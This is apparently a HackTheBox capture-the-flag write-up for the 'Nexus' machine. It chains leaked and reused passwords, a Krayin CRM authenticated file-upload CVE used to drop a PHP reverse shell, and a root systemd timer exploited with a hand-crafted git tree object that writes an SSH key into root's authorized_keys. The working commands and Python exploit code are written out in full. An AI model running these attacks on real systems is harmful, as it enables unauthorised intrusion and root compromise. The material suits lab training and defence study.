HackTheBoxMedium

HTB: Nexus

Two independent leaks combine to log into a CRM as the wrong-but-reused password, an authenticated file-upload CVE gets a shell, and a custom root-owned systemd timer with unsanitised git plumbing is abused via a hand-crafted malicious tree object to plant an SSH key as root.

Glowing network graph of connected nodes inside a green ring badge

Recon

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/

Added nexus.htb to /etc/hosts.

Vhost Fuzzing

ffuf -u http://nexus.htb -H "Host:FUZZ.nexus.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
git                     [Status: 200]
billing                 [Status: 302]

Two subdomains:

  • git.nexus.htb — Gitea v1.26.0
  • billing.nexus.htb“Powered by Krayin, an open-source project by Webkul”

Gitea — Exposed Admin Panel

ffuf -u http://git.nexus.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt
# admin  [Status: 200]

/admin grants immediate access with no authentication — a single repository is visible.

Gitea admin panel showing a single visible repository, krayin-docker-setup

.env Leak

The repo’s current .env leaks the Krayin CRM mail configuration, but no usable password.

Leaked .env file contents from the Gitea repo

Git History — the Password Was There All Along

The repo has two commits. The older commit still contains the plaintext DB/admin password that was later scrubbed from .env:

Git diff between commits showing DB_PASSWORD present in the old commit and removed in the new one, value redacted

That recovered password did not authenticate directly — the account it was originally tied to wasn’t the one actually usable for login.

Pivoting the Leaked Password to a Real Account

Back to recon on the main site (nexus.htb): a hiring/job post names a hiring manager and their email address.

Job posting page naming a hiring manager's email address

Using that email + the password recovered from Gitea’s git history logs into Krayin CRM successfully — the password had been reused across accounts.

Successful login to the Krayin CRM dashboard

Krayin CRM 2.2.0 — CVE-2026-38526

The instance runs Krayin CRM v2.2.0, vulnerable to an authenticated arbitrary file upload → RCE:

An authenticated arbitrary file upload vulnerability in the /admin/tinymce/upload endpoint of Webkul Krayin CRM v2.2.x allows attackers to execute arbitrary code via uploading a crafted PHP file. — GHSA-j8gj-mw5g-642g / CVE-2026-38526 / PoC

Exploitation

Krayin is Laravel-based; requests need both the session cookie and a matching X-XSRF-TOKEN header (Laravel CSRF protection). Grabbed both from the authenticated browser session.

SESSION='<krayin session cookie value>'
XSRF='<XSRF-TOKEN cookie value, URL-encoded>'
XSRF_DECODED=$(python3 -c "import urllib.parse; print(urllib.parse.unquote('$XSRF'))")

Gotcha: the app’s real session cookie name is krayin_crm_session, not the shorter krayin_session — confirmed via Laravel’s Ignition debug page (APP_DEBUG=true), which threw a TokenMismatchException and dumped the exact Set-Cookie header on a mismatched first attempt. Using the wrong cookie name silently starts a fresh unauthenticated session server-side, which is why the CSRF token appeared to mismatch.

Confirmed the real controller from the same debug dump:

Webkul\Admin\Http\Controllers\TinyMCEController@upload

Uploaded a pentestmonkey PHP reverse shell (IP/port pre-configured inside the file):

curl -s -b "krayin_crm_session=$SESSION; XSRF-TOKEN=$XSRF" \
  -H "X-XSRF-TOKEN: $XSRF_DECODED" \
  -F "file=@php-reverse-shell.php" \
  http://billing.nexus.htb/admin/tinymce/upload
{ "location": "http://billing.nexus.htb/storage/tinymce/7bcea5ec704f639c6508daa9c1f4d040.php" }

No extension filtering on the upload — the .php file lands in /storage/tinymce/ and is directly executable.

Trigger

nc -lvnp 4444
curl -s http://billing.nexus.htb/storage/tinymce/7bcea5ec704f639c6508daa9c1f4d040.php
Connection received on 10.129.67.203 44714
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Local Enumeration — User Pivot

www-data@nexus:/$ cat /etc/passwd

Only one real interactive-shell account besides service users: jones (uid 1000). git (uid 111) also has /bin/bash — the Gitea system account.

Krayin’s live .env (readable as www-data, this app instance running from ~/krayin) has the real DB credentials, not the scrubbed placeholder seen in the Gitea repo:

www-data@nexus:~/krayin$ cat .env
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y2[REDACTED]GbR

Password reuse again — that same password also works as jones’s Unix/SSH password:

ssh jones@nexus.htb

User Shell — jones

jones@nexus:~$ id; groups
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)

User Flag

jones@nexus:~$ cat user.txt
d5f9[REDACTED]eceb

Privesc Enumeration So Far

jones@nexus:~$ sudo -l
# [sudo] password for jones:
# Sorry, user jones may not run sudo on nexus.

jones@nexus:~$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
jones@nexus:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/gpasswd /usr/bin/umount /usr/bin/chfn /usr/bin/fusermount3
/usr/bin/newgrp /usr/bin/sudo /usr/bin/mount /usr/bin/su /usr/bin/chsh
/usr/bin/passwd /usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign

All standard — nothing custom. No sudo rights, no unusual SUID/capabilities.

jones@nexus:~$ cat /etc/cron* 2>/dev/null | grep -v '^#'

Only the default run-parts hourly/daily/weekly/monthly jobs — nothing custom, no writable script in the chain.

jones@nexus:~$ find / -writable -type f -path '*/etc/*' 2>/dev/null

Empty — no writable config files.

The Lead: a Custom Systemd Timer

crontab//etc/cron.d were boring, but jones has no pspy and no way to watch processes live — so systemd timers were checked instead:

jones@nexus:~$ systemctl list-timers --all
NEXT                            LEFT LAST                              PASSED UNIT                           ACTIVATES
Thu 2026-08-06 23:22:13 UTC      29s Thu 2026-08-06 23:21:13 UTC      30s ago gitea-template-sync.timer      gitea-template-sync.service
...

gitea-template-sync.timer fires every 60 seconds and is clearly custom (not stock Ubuntu). Dumped the unit and the script it runs:

jones@nexus:~$ systemctl cat gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

Runs as root, every minute.

jones@nexus:~$ cat /etc/gitea/template-sync.py

The script (readable by jones) authenticates to Gitea’s API with a stored token, finds every repo flagged as a “Template Repository”, and for each one:

  1. Runs git ls-tree -r HEAD directly against the bare repo on disk (/var/lib/gitea/data/gitea-repositories/<owner>/<name>.git).
  2. For every entry, git cat-file blob extracts the content and writes it to os.path.join(STAGING_DIR, owner, name, filepath).

filepath comes straight from git ls-tree output with no sanitisation, and the script never calls git checkout or git archive — the two git commands that actually enforce path-traversal protection. Raw plumbing (ls-tree/cat-file) doesn’t validate paths at all. A git tree object can legally contain an entry named ../../../../root/.ssh/authorized_keys; git ls-tree will print it, cat-file will extract it, and Python’s os.path.join() + open() will happily write there — as root.

Crafting a Malicious Tree Object

Normal git add/git hash-object -t tree won’t let you create an entry containing .. — Git added fsck validation against exactly this after CVE-2014-9390. Bypassed it by writing the loose object file directly into .git/objects/, skipping any git command that validates:

ssh-keygen -t ed25519 -f /tmp/pwnkey -N ""
mkdir /tmp/traversal && cd /tmp/traversal && git init -q
BLOB=$(git hash-object -w /tmp/pwnkey.pub)
python3 -c "
import hashlib, zlib, os, binascii
blob_hex = '$BLOB'
mode = b'100644'
name = b'../../../../../../../root/.ssh/authorized_keys'
entry = mode + b' ' + name + b'\x00' + binascii.unhexlify(blob_hex)
content = b'tree ' + str(len(entry)).encode() + b'\x00' + entry
sha1 = hashlib.sha1(content).hexdigest()
compressed = zlib.compress(content)
objdir = os.path.join('.git','objects', sha1[:2])
os.makedirs(objdir, exist_ok=True)
with open(os.path.join(objdir, sha1[2:]), 'wb') as f:
    f.write(compressed)
print('TREE:', sha1)
"
git config user.email "jones@nexus.htb"
git config user.name "jones"
git commit-tree <TREE_HASH> -m "sync"
git update-ref refs/heads/main <COMMIT_HASH>

jones also turned out to have a real Gitea account (same reused password, a third time). Created a new repository as jones, owner set to jones:

Gitea "New Repository" form, owner jones, name evil-template

Critically, ticked “Make repository a template” — this is what makes template-sync.py pick it up on its next run:

Gitea repository settings with "Make repository a template" checked

Pushed the crafted commit into it:

git remote add origin 'http://jones:REDACTED@git.nexus.htb/jones/evil-template.git'
git push -f origin main

Gotcha: a literal !! in a password is a Bash history-expansion trigger inside an interactive shell — it silently mangled the password on the first attempt. Fixed with set +H to disable history expansion for the session.

Within 60 seconds gitea-template-sync.timer fired as root, extracted the crafted blob, and traversed straight out of its staging directory into /root/.ssh/authorized_keys.

Root

ssh -i /tmp/pwnkey root@nexus.htb
root@nexus:~# cat root.txt
b27b[REDACTED]2aae

Takeaways

  • A publicly exposed Gitea /admin with no auth is a huge intel leak on its own — even a single repo’s .env + commit history handed over working credentials.
  • Secrets scrubbed from the latest commit are not gone. Git history retains everything. Always check git log -p on any leaked repo, not just the current tree.
  • Credential reuse across different accounts is what actually cracked the login — the leaked password wasn’t for the leaked email, it belonged to a hiring manager found via a completely unrelated recon path. Two independent leaks had to be combined.
  • Password reuse struck a second time: the live app’s DB_PASSWORD (readable once www-data was obtained) doubled as the real Unix/SSH password for jones. It struck a third time too — the same password also worked for jones’s Gitea account.
  • Raw git plumbing (ls-tree, cat-file) has zero path-traversal protection — that safety lives in git checkout/git archive, not in the underlying object model. Any script that walks a tree and writes files by hand, without using those commands, is reimplementing an extraction routine that git spent years hardening — and re-introducing the bug in the process.
  • A custom root-owned systemd timer was the whole ballgame. crontab/cron.d were clean; the actual automation lived in systemctl list-timers. Always check timers, not just cron, when hunting for scheduled root tasks.
  • Git’s own tooling blocks malicious trees (post-CVE-2014-9390), but only through porcelain. Writing the loose object file directly into .git/objects/ bypasses hash-object’s fsck entirely — commit-tree and push never re-validate it.
  • Bash history expansion (!!) can silently corrupt secrets typed into interactive commands. A password containing !! got replaced with the previous shell command until set +H disabled expansion for the session — a subtle, easy-to-miss failure mode worth remembering for any secret with ! in it.
  • Laravel’s Ignition debug page, left enabled with APP_DEBUG=true, is a gift when things go wrong. It revealed the correct session cookie name and the exact vulnerable controller, turning a confusing 419 into a precise fix.

Flags

user (jones): d5f9[REDACTED]eceb
root:         b27b[REDACTED]2aae